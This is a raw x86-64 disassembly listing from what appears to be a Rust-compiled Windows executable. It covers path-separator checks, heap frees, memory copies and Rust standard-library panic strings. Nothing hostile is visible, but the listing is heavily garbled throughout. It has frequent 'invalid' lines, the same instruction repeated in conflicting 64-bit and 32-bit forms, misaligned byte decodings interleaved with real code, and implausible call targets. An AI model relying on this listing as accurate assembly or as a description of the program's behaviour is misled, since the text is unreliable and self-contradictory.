jne 0x1400db831
invalid
add byte [rax], al
invalid
test eax, 0x66000000
cmp word [rbx + 4], 0x5c
cmp dword [rbx + 4], 0x5c
jne 0x1400db831
add byte [rax], al
lea r15, [0x140147ac0]
mov r14d, 4
lea rsi, [r8 + r14]
inc rsi
mov rcx, qword [r12]
cmp rcx, rsi
jae 0x1400db872
invalid
add cl, ch
in eax, 0
add byte [rax], al
jmp 0x1400db89e
call qword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
or esi, 2
cmp qword [rbp + 0x3f0], 0
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
je 0x1400db7e9
test eax, edi
add eax, dword [rax]
add byte [rax - 0x75], cl
mov rcx, qword [0x14017d208]
mov ecx, dword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
cmp al, 3
add byte [rax - 0x75], cl
invalid
loopne 0x1400db7f1
add byte [rax], al
mov qword [rcx + 8], rsi
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 1
add dword [rax - 0x75], ecx
test dword [rax], ecx
add al, 0
add byte [rax - 0x7d], cl
cmp byte [rax], al
add byte [rdi], cl
test byte [rdi], cl
add al, byte [rax]
invalid
add byte [rdi], cl
test byte [rdi], cl
add al, byte [rax]
add byte [rbx + rcx*4 + 0x40], cl
or byte [rax - 0x75], cl
or eax, 0xa19eb
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400dba21
invalid
add dword [rax], eax
invalid
test dword [rcx], 0x58750000
jne 0x1400db884
movzx ecx, word [rbx]
jmp 0x1400db83d
movzx ecx, word [rbx]
cmp esi, 3
jne 0x1400db8c9
add byte [rax], al
invalid
or eax, dword [rbx - 0x7af0fc02]
mov word [rax], es
invalid
add byte [rax], al
add byte [rsi - 0x7d], ah
stc
pop rsp
add byte [rax], al
cmp cx, 0x5c
jne 0x1400db884
add spl, byte [r14 - 0x7d]
clc
pop rsp
cmp ax, 0x5c
jne 0x1400db884
add r8, 0xfffffffffffffffe
add eax, 0xfffffffe
sar dh, 0x48
add ebx, 4
add rbx, 4
lea r15, [0x140147ac8]
mov r14d, 8
mov esi, 8
ret 6
mov esi, 8
add byte [rax], al
lea rsi, [r8 + r14]
lea esi, [rax + rsi]
inc rsi
mov rcx, qword [r12]
cmp rcx, rsi
jb 0x1400db89e
invalid
sub al, 0x4c
mov edi, eax
invalid
mov rdi, r8
invalid
mov rsi, rcx
mov rcx, qword [rbp + 0x3e8]
add cl, ch
rol byte [rax], 1
add byte [rax], al
invalid
invalid
add cl, ch
rol byte [rax], 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x3d], cl
lea edi, [0x14016f768]
lea r15, [0x14016f768]
lea edi, [0x14016f768]
or dword ds:[rax], eax
xor r14d, r14d
lea rsi, [r8 + r14]
inc rsi
inc esi
mov rcx, qword [r12]
cmp rcx, rsi
jae 0x1400db872
invalid
lea rax, [rsi + rsi]
mov rdi, r8
test rcx, rcx
leave
leave
je case.0x1400978a6.995
add rcx, rcx
mov rdx, qword [rbp + 0x3e8]
add eax, dword [rax]
add byte [rax - 0x77], cl
mov dword [rbp + 0x3a8], edx
add eax, dword [rax]
add byte [rax - 0x77], cl
mov dword [rbp + 0x3a8], edx
mov dword [rbp + 0x3a8], edx
add eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rbp + 0x3b8], rcx
mov ecx, 2
mov qword [rbp + 0x3b8], rcx
mov ecx, 2
jmp 0x1400db914
lea r15, [0x14016f768]
cwde
or dword ds:[rax], eax
cmp cx, 0x5c
jne 0x1400db88b
cmp eax, 0x3f
je 0x1400db88b
clc
invalid
invalid
test dword [rbx - 1], edx
invalid
jmp qword [rsi - 0x7d]
jnp 0x1400db904
invalid
xor ecx, ecx
mov qword [rbp + 0x3b0], rcx
lea rcx, [rbp + 0x3c0]
lea r9, [rbp + 0x3a8]
mov edx, 2
add byte [rax], al
mov r8, rax
call fcn.1400d3da0
test bh, bh
dec dword [rax - 0x7d]
mov ebp, 0x3c0
add byte [rdi], cl
test dword [rbp + 1], ecx
add byte [rax], al
mov rcx, qword [rbp + 0x3c8]
mov qword [r12 + 8], rcx
mov qword [r12], rsi
lea r8d, [r14 + r14]
mov r13, rcx
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [r12 + 0x10], r14
mov rax, rsi
sub rax, r14
cmp rax, rdi
jae 0x1400db99c
mov rcx, r12
mov rdx, r14
mov r15, rdi
mov r8, rdi
call fcn.14010c720
mov r12, qword [rbp + 0x408]
mov r14, qword [r12 + 0x10]
mov rsi, qword [r12]
mov r13, qword [r12 + 8]
mov rdi, r15
lea r8, [rdi + rdi]
lea rcx, [r14*2]
add rcx, r13
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
add r14, rdi
mov qword [r12 + 0x10], r14
cmp r14, rsi
jne 0x1400db9d9
mov rcx, r12
call fcn.1400d64e0
loope 0x1400db9ac
mov r12, qword [rbp + 0x408]
mov r13, qword [r12 + 8]
mov r14, qword [r12 + 0x10]
mov word [r13 + r14*2], 0
inc r14
inc esi
jne 0x1400db9df
inc esi
invalid
mov qword [r12 + 0x10], r14
cmp qword [rbp + 0x3f0], 0
add eax, dword [rax]
add byte [rax], al
adc byte [rax - 0x7d], cl
mov ebp, 0x3f0
add eax, dword [rax]
add byte [rax], al
invalid
invalid
mov ch, 0xe0
add eax, dword [rax]
add eax, dword [rax]
add byte [rax], al
mov rsi, qword [rbp + 0x3e0]
je 0x1400dba10
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x3f8]
test eax, edi
add eax, dword [rax]
invalid
mov r8, qword [rbp + 0x3f8]
test eax, edi
add eax, dword [rax]
add byte [rax - 0x75], cl
mov rcx, qword [0x14017d208]
mov ecx, dword [0x14017d208]
or eax, 0xa1800
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
sar bh, cl
adc eax, 0x339f0
add eax, dword [rax]
add eax, dword [rax]
mov rax, qword [r12 + 0x10]
mov qword [rsi + 0x10], rax
adc byte [rcx + 0xf], r8b
adc byte [rsp], al
add al, 0x24
adc byte [rcx + 0xf], r8b
adc byte [rsp], al
add al, 0x24
add al, 0x24
movups xmmword [rsi], xmm0
add rsp, 0x498
pop rbx
pop rdi
invalid
cwde
add al, 0
add byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
mov bh, 1
cmp eax, 0x2f
je case.0x1400b40f6.882
sti
invalid
invalid
add dword [rbx - 0x7bf0d008], eax
invalid
sti
invalid
inc dword [rbx - 0x7bf0a308]
xchg ecx, eax
sti
invalid
invalid
pop rsp
jne 0x1400db84d
test edx, esi
std
invalid
invalid
test edx, esi
std
invalid
jmp 0x1400db88b
sub edi, esi
invalid
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
invalid
sub byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add al, ch
js 0x1400dba02
call fcn.1401046f0
add al, byte [rax]
add bl, ch
sub cl, byte [rax - 0x73]
add eax, 0x6be57
jmp 0x1400dbaa4
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r12
mov r8, rax
call fcn.1401046e0
push rcx
mov word [rdx], es
add bl, ch
invalid
push rcx
mov word [rdx], es
add bl, ch
adc ecx, dword [rax - 0x75]
invalid
invalid
invalid
mov rcx, qword [rbp + 0x3c8]
mov rdx, qword [rbp + 0x3d0]
rol byte [rbx], 1
add byte [rax], al
rol byte [rbx], 1
add byte [rax], al
call fcn.140104360
ud2
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
invalid
invalid
mov ebp, 0x3f0
invalid
add byte [rax], al
cmp qword [rbp + 0x3f0], 0
add byte [rax], al
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x3f8]
test eax, edi
add eax, dword [rax]
add byte [rax], al
je case.0x1400b5836.879
mov r8, qword [rbp + 0x3f8]
test eax, edi
add eax, dword [rax]
add byte [rax], al
mov rcx, qword [0x14017d208]
add byte [rax], al
mov rcx, qword [0x14017d208]
mov ecx, dword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x408]
or byte [rax + rax], al
add byte [rax - 0x7d], cl
cmp qword [rax], 0
cmp qword [rax], 0
cmp dword [rax], 0
je case.0x1400d88a8.108
mov rax, qword [rbp + 0x408]
mov eax, dword [rbp + 0x408]
mov r8, qword [rax + 8]
mov rcx, qword [0x14017d208]
std
invalid
or al, byte [rax]
or byte [rax - 0x75], cl
or eax, 0xa16fd
std
invalid
or al, byte [rax]
std
invalid
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rbx], al
invalid
cmp byte [rbx], al
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
nop
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
int3
int3
int3
int3
int3
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1b8
invalid
add dword [rax], eax
invalid
mov eax, 0x48000001
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esi
invalid
mov qword [rbp + 0x130], 0xfffffffffffffffe
add dword [rax], eax
add dh, bh
invalid
mov r13, r8
mov ebp, eax
mov rsi, rdx
mov rbx, rcx
mov r15, qword [rcx + 8]
jns case.0x1400d7eaf.132
mov r14, qword [rcx + 0x10]
test r14, r14
je 0x1400dbbcb
pop rdi
mov rdi, rsi
mov rsi, r13
test dword [rcx + rcx*4 - 0x12], 0x43dd8949
mov r13, rbx
mov ebp, ebx
fld qword [rbx + 0xf]
mov dh, 0x44
invalid
invalid
movzx eax, byte [r14 + r15 - 1]
movzx eax, byte [rsi + rdi - 1]
cmp al, 0x2f
invalid
setne r12b
setne ah
cmp al, 0x5c
setne bl
lea rcx, [rbp + 0xc0]
lea ecx, [rbp + 0xc0]
invalid
mov rdx, r15
mov edx, edi
cli
mov r8, r14
call fcn.1400d8910
inc dword [rdi + rcx - 0x4a]
test eax, eax
add byte [rax], al
add byte [rax], al
invalid
invalid
movzx r8d, byte [rbp + 0xc0]
movzx eax, r8b
mov dh, 0xc0
ror byte [rbx + rcx*4 - 0x6b], 0xd0
add byte [rax], al
mov r10, qword [rbp + 0xd0]
mov r9, qword [rbp + 0xe0]
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x73], cl
loopne 0x1400dbbb0
invalid
lea rcx, [0x140175844]
lea ecx, [0x140175844]
movsxd rdx, dword [rcx + rax*4]
add rdx, rcx
add edx, ecx
invalid
add edx, ecx
retf 0x894c
mov rcx, r15
jmp rdx
lea rcx, [r10 + 4]
jmp case.0x14009f75c.962
mov dil, 6
invalid
mov dword [rbp + 0x108], 0
xor r12d, r12d
invalid
jmp 0x1400dbd03
add byte [rcx - 0x73], cl
add qword [r13 - 0x7b], rcx
test r9, r9
lea rcx, [r9 + 1]
test r9, r9
cmove rcx, r9
add rcx, r10
add rcx, 8
invalid
invalid
ror dword [rax], 0xeb
jmp case.0x14009f75c.962
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
add bl, ch
add byte [rax], al
jmp case.0x14009f75c.962
sbb dword [rcx - 0x73], ecx
add qword [r13 - 0x7b], rcx
add dword [rbp - 0x7b], ecx
lea rcx, [r9 + 1]
test r9, r9
test ecx, ecx
add dword [rbp - 0x7b], ecx
test ecx, ecx
leave
cmove rcx, r9
cmove ecx, ecx
leave
add rcx, r10
add rcx, 2
jmp case.0x14009f75c.962
invalid
add eax, 0x2b9
add byte [rcx + rdi - 0xf], cl
cmp rcx, r14
mov ecx, 2
add al, byte [rax]
add byte [rax], al
invalid
cmp rcx, r14
int1
ja 0x1400dc5f7
add byte [rbp + 0xc], dh
mov dword [rbp + 0x108], 0
add byte [rax], al
add byte [rax], al
add bl, ch
invalid
jne case.0x1400d95c2.81
or al, 0xc7
test dword [rax], ecx
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add bl, ch
sbb cl, byte [rcx + rax - 7]
add rcx, r15
movzx ecx, byte [rcx]
cmp cl, 0x2f
sete dl
cmp cl, 0x5c
sete cl
or cl, dl
mov dword [rbp + 0x108], ecx
and r12b, bl
fmul qword [rax - 0x75]
invalid
mov rcx, qword [rbp + 0xc1]
mov rdx, qword [rbp + 0xc8]
xchg ebp, eax
enter 0, 0
add byte [rax - 0x75], cl
xchg ebp, eax
enter 0, 0
mov qword [rbp + 0x3f], rdx
mov qword [rbp + 0x38], rcx
mov r11, qword [rbp + 0xd8]
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0xd8d48c0], cl
or eax, 0x99bf2
add byte [rax], al
mov eax, eax
lea rcx, [0x140175860]
or eax, 0x99bf2
or eax, 0x99bf2
add byte [rax + 0x63], cl
adc al, 0x81
invalid
movsxd rdx, dword [rcx + rax*4]
or dword [rax + 1], 0xeb894cca
add rdx, rcx
add edx, ecx
mov rbx, r13
jmp 0x1400dbcc2
mov r13, rsi
mov rsi, rdi
invalid
dec byte [rcx + rcx*4 - 0x73]
mov eax, 0x4c000000
add byte [rax], al
add byte [rcx + rcx*4 + 0x55], cl
push rbp
invalid
mov qword [rbp + 0xb8], r9
mov qword [rbp + 0x20], r10
push rbp
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x55], cl
push rbp
push rbp
and byte [rcx + rcx*4 + 0x5d], cl
sub bh, bh
jmp rdx
invalid
mov qword [rbp + 0x28], r11
jmp rdx
lea rcx, [r10 + 4]
lea ecx, [rdx + 4]
add al, 0x48
test rcx, rcx
test ecx, ecx
jne 0x1400dbcca
xor ch, bl
lea rcx, [r9 + 1]
lea rcx, [r9 + 1]
jmp case.0x1400dbc8d.6
lea rcx, [r9 + 1]
add dword [rbp - 0x7b], ecx
leave
test r9, r9
cmove rcx, r9
cmove ecx, ecx
leave
add rcx, r10
add rcx, 8
add ecx, 8
add ecx, 8
test rcx, rcx
jne 0x1400dbcca
invalid
sbb ebx, ebp
xor byte [rcx - 0x73], cl
lea rcx, [r9 + 1]
test r9, r9
jmp case.0x1400dbc8d.6
lea rcx, [r9 + 1]
lea ecx, [rcx + 1]
test r9, r9
cmove rcx, r9
add rcx, r10
add ecx, edx
add rcx, 2
add ecx, 2
test rcx, rcx
leave
je case.0x1400dbc8d.6
lea rcx, [0x14017587c]
lea ecx, [0x14017587c]
or eax, 0x99bab
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
loopne case.0x1400b40f6.894
lea rax, [r10 + 4]
lea eax, [rdx + 4]
cmp rax, r14
je 0x1400dbcf2
mov edi, r8d
jmp 0x1400dbd03
mov eax, 6
cmp rax, r14
jne case.0x1400dbc8d.6
xor eax, eax
mov edi, r8d
mov edi, eax
mov edi, eax
cmp r8b, 5
movzx r12d, r12b
in al, 0x44
cmove esp, eax
cmove esp, eax
loopne case.0x1400b5836.886
mov rcx, rsi
mov ecx, esi
mov rdx, r13
call case.0x14001a36d.3400
test al, al
jne case.0x1400b9f4a.851
xchg byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp + 0xc0]
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rsi
mov r8, r13
invalid
mov rdx, rsi
mov r8, r13
invalid
call 0x13fd9a60f
call fcn.1400d8910
call 0x1500dbcf4
dec dword [rdi]
movzx edx, byte [rbp + 0xc0]
mov dh, 0x95
rol byte [rax], 0
invalid
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xe0]
mov eax, dword [rbp + 0xe0]
test eax, esp
add byte [rax], al
loopne 0x1400dbd3b
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
wait
wait
lea r8, [0x140175890]
or dword [rax], eax
add byte [rcx + 0x63], cl
adc al, 0x90
nop
movsxd rdx, dword [r8 + rdx*4]
nop
add rdx, r8
ret 0xe2ff
jmp rdx
loop 0x1400dbd96
add rcx, 4
jmp case.0x1400d95c2.84
mov eax, 2
cmp rax, r14
je 0x1400dbcf2
jmp case.0x1400dbc8d.6
test byte [rax - 0x73], cl
push rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
cmove rdx, rax
invalid
invalid
lea rdx, [rax + 1]
lea edx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
ror dword [rax - 0x7d], 1
rol dword [rdx], 0xeb
invalid
ror dword [rax - 0x7d], 1
rol dword [rdx], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
jmp case.0x1400d95c2.84
sbb dword [rax - 0x73], ecx
lea rdx, [rax + 1]
lea edx, [rax + 1]
push rax
add dword [rax - 0x7b], ecx
test rax, rax
cmove rdx, rax
add rcx, rdx
add ecx, edx
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
invalid
add ecx, edx
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
add rcx, 8
jmp case.0x1400d95c2.84
invalid
add eax, 0x2b9
mov ecx, 2
add byte [rax], al
add byte [rcx + rdi - 0x17], cl
cmp rcx, r13
ja 0x1400dc606
xchg dword [rdx + 8], ebp
or byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
adc byte [r8], al
add byte [rax], al
mov qword [rbx + 0x10], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov rdx, rsi
mov r8, r13
call fcn.1400db2b0
invalid
invalid
invalid
nop
add rsp, 0x1b8
invalid
mov eax, 0x5b000001
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
test r13, r13
je 0x1400dbea1
test cl, dl
rol dword [rax], 1
add byte [rax], al
cmp dil, 3
cmp bh, 3
add byte [rax], al
add byte [rax - 0x80], al
cmp bh, 3
cmp bh, 3
jae 0x1400dbea1
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r14
mov byte [rbp - 0x10], dil
mov rax, qword [rbp + 0x38]
cmp byte [rax - 0x75], cl
invalid
invalid
mov qword [rbp - 0xf], rax
int1
invalid
mov qword [rbp - 8], rcx
mov rax, qword [rbp + 0x20]
mov eax, dword [rbp + 0x20]
mov qword [rbp], rax
add byte [r8 - 0x75], r9b
sub byte [r8 - 0x77], r9b
sub byte [rax - 0x77], cl
mov rax, qword [rbp + 0x28]
mov qword [rbp + 8], rax
or byte [rax - 0x75], cl
test dword [rax + 0x48000000], edi
mov dword [rbp + 0x10], eax
sub byte [rax - 0x77], cl
or byte [r8 - 0x75], r9b
test dword [rax + 0x48000000], edi
mov dword [rbp + 0x10], eax
mov word [rbp + 0x18], 0x200
add byte [rdx], al
mov eax, dword [rbp + 0x108]
mov byte [rbp + 0x1a], al
lea rcx, [rbp - 0x58]
lea ecx, [rbp - 0x58]
lea rdx, [rbp - 0x20]
call fcn.1400d8dc0
cmp byte [rbp - 0x58], 0xa
test al, 0xa
xchg ebx, eax
iretd
or cl, byte [rax - 0x77]
pop rbp
xor byte [rdi], cl
mov qword [rbp + 0x30], rbx
jne 0x1400dbeec
invalid
mov cl, 0
add byte [rax], al
test dword [rcx + 0x48000000], esi
mov dword [rbp + 0x110], 0
test dword [rax], edx
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov cl, 0
add byte [rax], al
mov qword [rbp + 0x110], 0
adc byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ebx
sbb byte [rcx], al
invalid
mov qword [rbp + 0x118], 8
sbb byte [rcx], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbp + 0x120], 0
mov dword [rbp + 0x120], 0
test dword [rax], esp
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add cl, ch
fild dword [rcx]
add dword [rax], eax
invalid
add byte [rax], al
jmp case.0x1400b40f6.917
add dword [rax], eax
add byte [rcx - 0x73], cl
add dword [r13 - 0x7b], ecx
invalid
invalid
lea rax, [r9 + 1]
test r9, r9
leave
cmove rax, r9
add rax, r10
add eax, edx
ror byte [rax - 0x7d], 1
rol byte [rdx], 0x4c
cmp rax, r14
add rax, 2
cmp rax, r14
invalid
je 0x1400dbcf2
invalid
invalid
jmp case.0x1400dbc8d.6
invalid
lea rax, [r9 + 1]
test r9, r9
add dword [rbp - 0x7b], ecx
leave
cmove rax, r9
cmove eax, ecx
ror dword [rcx + rax - 0x30], 0x48
ror dword [rcx + rax - 0x30], 0x48
add rax, r10
add rax, 8
add eax, 8
ror byte [rax], 0x4c
cmp eax, esi
or byte [rcx + rdi - 0x10], cl
cmp rax, r14
je 0x1400dbcf2
test byte [rsi - 2], dl
invalid
invalid
jmp case.0x1400dbc8d.6
invalid
dec dword [rax - 0x73]
invalid
lea rcx, [rbp + 0xc0]
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov r8, r13
mov r8, r13
mov rdx, rsi
mov r8, r13
call 0x13fd81c9a
call fcn.1400d8910
retf 0xffff
dec dword [rdi]
mov dh, 0x85
test eax, eax
add byte [rax], al
invalid
movzx eax, byte [rbp + 0xc0]
test eax, eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rbp + 0xd0]
invalid
add byte [rax - 0x75], cl
mov rdx, qword [rbp + 0xe0]
xchg ebp, eax
loopne 0x1400dbec6
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
movzx r8d, al
ror byte [rbp + rcx*4 + 0xd], 0xd9
cdq
lea r9, [0x1401758ac]
or eax, 0x999d9
or dword [rax], eax
movsxd r10, dword [r9 + r8*4]
invalid
adc al, 0x81
add r10, r9
add edx, ecx
mov r8, r13
mov r9, rsi
int1
call 0x181ff482a
jmp rdx
invalid
int1
jmp r10
loop case.0x14009f75c.985
add rcx, 4
add ecx, 4
add al, 0xe9
jmp 0x1400dc0b2
mov byte [rcx], 0
add byte [rax - 0x77], cl
mov edi, esi
mov rsi, r13
invalid
mov dh, 5
invalid
invalid
mov rdi, rsi
mov edi, esi
mov rsi, r13
mov esi, ebp
out dx, al
movzx eax, byte [0x14017d2b0]
add eax, 0xa13b7
adc ecx, dword [rdx]
add byte [rdx + 0xe0], bh
mov edx, 0xe0
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
xor ecx, ecx
leave
call fcn.1400e0010
add byte [r8], al
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
test byte [rdi], bl
test rax, rax
test eax, eax
je 0x1400dc62d
test byte [rdi], bl
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
mov r14, rax
invalid
mov rax, qword [rbp - 0x28]
fmul dword [rcx - 0x77]
mov qword [r14 + 0x30], rax
movups xmm0, xmmword [rbp - 0x58]
invalid
invalid
xor byte [rdi], r9b
xor byte [rdi], cl
adc byte [rbp - 0x58], al
test al, 0xf
movups xmm1, xmmword [rbp - 0x48]
adc byte [rbp - 0x48], cl
movabs r8, 0x56110f41c855100f
movups xmm2, xmmword [rbp - 0x38]
adc byte [rbp - 0x38], dl
movups xmmword [r14 + 0x20], xmm2
movups xmmword [r14 + 0x10], xmm1
adc dword [rsi + 0x10], ecx
push rsi
and byte [rcx + 0xf], al
adc dword [rsi + 0x10], ecx
movups xmmword [r14], xmm0
movups xmmword [rsi], xmm0
adc dword [rsi], eax
mov qword [rbp + 0xa0], 4
add byte [rax], al
add byte [rax + rax], al
add al, 0
add al, 0
add byte [rax], al
mov qword [rbp + 0xa8], r14
mov ch, 0xa8
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test al, 0
add byte [rax], al
mov qword [rbp + 0xb0], 1
test dword [rax + 0x1000000], esi
mov al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
movups xmm0, xmmword [rbp - 0x20]
add byte [rax], al
movups xmm0, xmmword [rbp - 0x20]
loopne 0x1400dbf64
movups xmm1, xmmword [rbp - 0x10]
adc byte [rbp - 0x10], cl
movups xmm2, xmmword [rbp]
push rbp
add byte [rdi], cl
adc byte [rbp + 0x10], bl
pop rbp
invalid
movups xmm3, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xf0], xmm3
sub dword [rbp + 0xf0], ebx
popfq
lock add byte [rax], al
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rbp + 0xe0], xmm2
sub dword [rbp + 0xe0], edx
xchg ebp, eax
loopne case.0x1400aadb0.949
movaps xmmword [rbp + 0xd0], xmm1
sub dword [rbp + 0xd0], ecx
invalid
rol byte [rax], 1
add byte [rax], al
invalid
movaps xmmword [rbp + 0xc0], xmm0
sub dword [rbp + 0xc0], eax
test eax, eax
add byte [rax], al
invalid
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rbp + 0x68]
lea ecx, [rbp + 0x68]
push 0xffffffffc0958d48
push 0xffffffffc0958d48
lea rdx, [rbp + 0xc0]
lea edx, [rbp + 0xc0]
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add al, ch
xor al, 0xce
invalid
call fcn.1400d8dc0
inc dword [rax + 0xf0a687d]
cmp byte [rbp + 0x68], 0xa
je 0x1400dc01a
test byte [rax], al
add byte [rax], al
jge 0x1400dbff7
or cl, byte [rdi]
test byte [rax + rax - 0x40bf0000], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x41], al
mov r15d, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x6d], cl
lea r13, [rbp + 0x68]
lea ebp, [rbp + 0x68]
push 0xffffffffc0a58d4c
add byte [rax], al
lea r12, [rbp + 0xc0]
lea esp, [rbp + 0xc0]
movsd dword [rdi], dword [rsi]
rol byte [rax], 0
add byte [rax], al
add byte [rsi + 0xf], ah
nop word [rax + rax]
nop dword [rax + rax]
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + rdi - 0x43], cl
movabs al, byte [0x8d8d481675000000]
add byte [rax], al
add byte [rbp + 0x16], dh
invalid
invalid
invalid
cmp r15, qword [rbp + 0xa0]
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x16], dh
jne case.0x1400d95c2.109
lea rcx, [rbp + 0xa0]
lea esp, [rax + 0x4c000000]
mov edx, edi
cli
movabs al, byte [0xe8e8fa894c000000]
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
add byte [rax], al
mov rdx, r15
cli
call fcn.14010c8b0
mov r14, qword [rbp + 0xa8]
mov esi, dword [rbp + 0xa8]
call 0x18c0dc2d1
or byte [rbx], al
add byte [rbx + rcx*4 - 0x4b], cl
invalid
invalid
mov esi, dword [rbp + 0xa8]
mov ch, 0xa8
test al, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x6b], cl
invalid
invalid
imul rax, r15, 0x38
imul eax, edi, 0x38
invalid
cmp byte [rax - 0x75], cl
lea ebx, [rax + 0x49000000]
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
invalid
invalid
mov rcx, qword [rbp + 0x98]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], cl
mov qword [r14 + rax + 0x30], rcx
invalid
xor byte [rdi], cl
movups xmm0, xmmword [rbp + 0x68]
adc byte [rbp + 0x68], al
push 0x784d100f
movups xmm1, xmmword [rbp + 0x78]
js 0x1400dbff7
js 0x1400dbff7
movups xmm2, xmmword [rbp + 0x88]
adc byte [rbp + 0x88], dl
mov byte [rax], al
add byte [rax], al
add byte [rcx + 0xf], al
adc dword [rsi + rax + 0x20], edx
push rsp
invalid
invalid
movups xmmword [r14 + rax + 0x20], xmm2
movups xmmword [rsi + rax + 0x20], xmm2
push rsp
invalid
and byte [rcx + 0xf], al
movups xmmword [r14 + rax + 0x10], xmm1
movups xmmword [rsi + rax + 0x10], xmm1
adc dword [rsi + rax + 0x10], ecx
invalid
invalid
movups xmmword [r14 + rax], xmm0
movups xmmword [rsi + rax], xmm0
adc dword [rsi + rax], eax
add al, 6
inc r15
mov qword [rbp + 0xb0], r15
mov dword [rbp + 0xb0], edi
invalid
mov dword [rbp + 0xb0], edi
mov ebp, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov ecx, ebp
jmp 0x128f0495c
mov rdx, r12
mov edx, esp
call fcn.1400d8dc0
lodsb al, byte [rsi]
int 0xff
inc dword [rax + 0x750a687d]
cmp byte [rbp + 0x68], 0xa
invalid
invalid
cmp byte [rbp + 0x68], 0xa
push 0xf96750a
or dh, byte [rbp - 0x6a]
jne case.0x1400b40f6.909
xchg esi, eax
